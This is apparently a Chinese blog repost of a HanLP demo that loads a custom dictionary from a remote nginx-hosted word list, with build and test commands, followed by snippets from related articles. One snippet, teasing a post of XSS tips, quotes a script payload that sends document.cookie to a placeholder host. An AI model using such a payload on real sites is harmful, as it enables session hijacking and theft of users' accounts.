hanlp 加载远程词库示例
说明
·目前的实现方式是以远程词库的内容重新构建CustomDictionary.trie,demo主要是为了实现同步远程词库,对性能暂不作考虑,对性能要求要以CustomDictionary.dat为基础实现
按hanlp作者述 trie后期可能会取消
目前CustomDictionary使用DAT储存词典文件中的词语,用BinTrie储存动态加入的词语,前者性能高,后者性能低
之所以保留动态增删功能,一方面是历史遗留特性,另一方面是调试用;来可能会去掉动态增删特性。
·ik的方案,远程词库并不含有词性词频等额外信息,这里为了保证词库和复用也保持一致,默认词性为Nature.nz,词频为1 CoreDictionary.Attribute att = new CoreDictionary.Attribute(Nature.nz, 1);
·ik支持多个远程词库,该示例只支持单项
多词库在现方案下,要作任务协作的处理,虽然不难,但改动后和ik原码的差距会比较大
项目只是个参考,因此代码尽量和ik保持一致,一个远程词库,对大部分场景也够用了
测试
启动nginx作为远程词库服务
docker run -d --name nginx -p 1888:80 -v $(pwd)/nlp:/usr/share/nginx/html/nlp nginx:1.13.12
测试是否成功
curl http://127.0.0.1:1888/nlp/words.txt
启动服务
编译
mvn clean package -Dmaven.test.skip=true
执行
java -jar target/hanlp-web-2.0.0.RC2.jar
测试url
http://127.0.0.1:1889/hanlp?sentence=小明北飘在北京
词库同步任务间隔1分钟,服务启动后浏览器多刷新几次便能看到区别
如要扩展至本地项目
1 添加依赖
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.2</version>
</dependency>
2 拷贝ExtDictionary,Monitor
3 添加配置resources/hanlp_ext.properties
最后,代码全是抄的,这个项目只是基本的搬运,可能对新手会有点帮助
文章转载自 :https://github.com/cclient/hanlp-remote-dict
hanlp 加载远程词库示例的更多相关文章
- “尝试加载 Oracle 客户端库时引发 BadImageFormatException。如果在安装 32 位 Oracle 客户端组件的情况下以 64 位模式运行,将出现此问题。”
远程连接服务器的数据库调试WCF程序时,可以正常访问数据库,但将程序发布成站点部署在数据库所在的服务器之后,一直报错,通过try/catch捕获得到以下报错信息: System.Exception: ...
- 尝试加载 Oracle 客户端库时引发 BadImageFormatException
尝试加载 Oracle 客户端库时引发 BadImageFormatException 工程师给计算机诊断,就像医生给病人诊断一样,很多同样的症状,可能是由多种截然不同的原因导致的. 最近进行C# ...
- AntiModerate – 渐进式图片加载的 JavaScript 库
AntiModerate 是一个渐进式图片加载的 JavaScript 库.我们多数看到的图片显示模式,都是从上到下逐渐显示的,这是“标准式”图像:而有的图片是先出现一个很低分辨率的图像轮廓,类似加了 ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
- iOS Cordova 加载远程界面
老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...
- 尝试加载 Oracle 客户端库时引发 BadImageFormatException。问题记录
电脑是win8 64位,安装oracle 11g r2 64位的,谁知道一切装完毕后,打开项目却连不上oracle数据了...首先是pl/sql连不上,装了oracle服务器,应该是不用再装客户端,p ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- “尝试加载 Oracle 客户端库时引发 BadImageFormatException”的解决方案
今天要写个程序,环境是win8.1+ vs2012+ oracle,可是却出现了一个意想不到的问题: 异常!以下为数据库提示详细错误信息:尝试加载 Oracle 客户端库时引发 BadImageFor ...
- 尝试加载 Oracle 客户端库时引发 BadImageFormatException。如果在安装 32 位 Oracle 客户端组件的情况下以 64 位模式运行,将出现此问题。
从10G开始,Oracle提供了一个较为轻量级的客户包,叫做Instant Client. 将它安装好后,就不用再安装庞大的Oracle Client了. 这样一来,只要客户端下载Instant Cl ...
随机推荐
- 第一次作业_ChenHong1998
我的目标 学习到软件工程的实践过程 回想一下你初入大学时对软件工程专业的畅想 当初你是如何做出选择软件工程专业的决定的? 计算机是热门专业,软件工程专业好找工作 你认为过去两年中接触到的课程是否符合你 ...
- SharePoint Framework解决方案管理参考(一)
博客地址:http://blog.csdn.net/FoxDave 使用SPFx,你的企业可以轻松构建解决方案跟Office 365和SharePoint Online集成.SPFx解决方案基于现代w ...
- 用6个案例说明如何恢复PXC集群
原文链接:https://blog.csdn.net/zengxuewen2045/article/details/51868976 1. 案例一:三个节点,关闭一个 由于维护和配置变更等工作需要 ...
- 2019-04-28-day042-HTML初识
GET / HTTP/1.1 Host: 127.0.0.1:9001 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml ...
- Linux 驱动——Button驱动5(atomic)原子量
button_drv.c驱动文件: #include <linux/module.h>#include <linux/kernel.h>#include <linux/f ...
- vue 用户停留页面超过30分钟未操作 强制退出到登录页面
先说下主要实现思路,通过给你的根节点绑定mouseover事件,首先声明下当前时间,每次滑过时记录下滑过的时间,两个时间转化成毫秒数,进行对比,如果超过30分钟,则清除token,跳转到login.h ...
- vue css背景图片打包后路径问题
limit,代表如果小于大约4k则会自动帮你压缩成base64编码的图片,否则拷贝文件到生产目录 name,后面是打包后的路径: loader,后面 limit 字段代表图片打包限制,这个限制并不是说 ...
- PHP错误日志和内存查看(转)
本篇文章给大家带来的内容是关于PHP错误日志和内存查看的方法介绍(代码),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助. 1.通过命令查看服务器上一共开了多少的 php-cgi 进程: ...
- linux中的baff/cache占用大量内存,如何清理?
执行命令echo 3 > /proc/sys/vm/drop_caches,即可清空buff/cache 参考http://blog.csdn.net/kevins_lee/article/de ...
- Jmeter 非 GUI 命令行执行脚本文件
https://www.cnblogs.com/yebaofang/p/9803273.html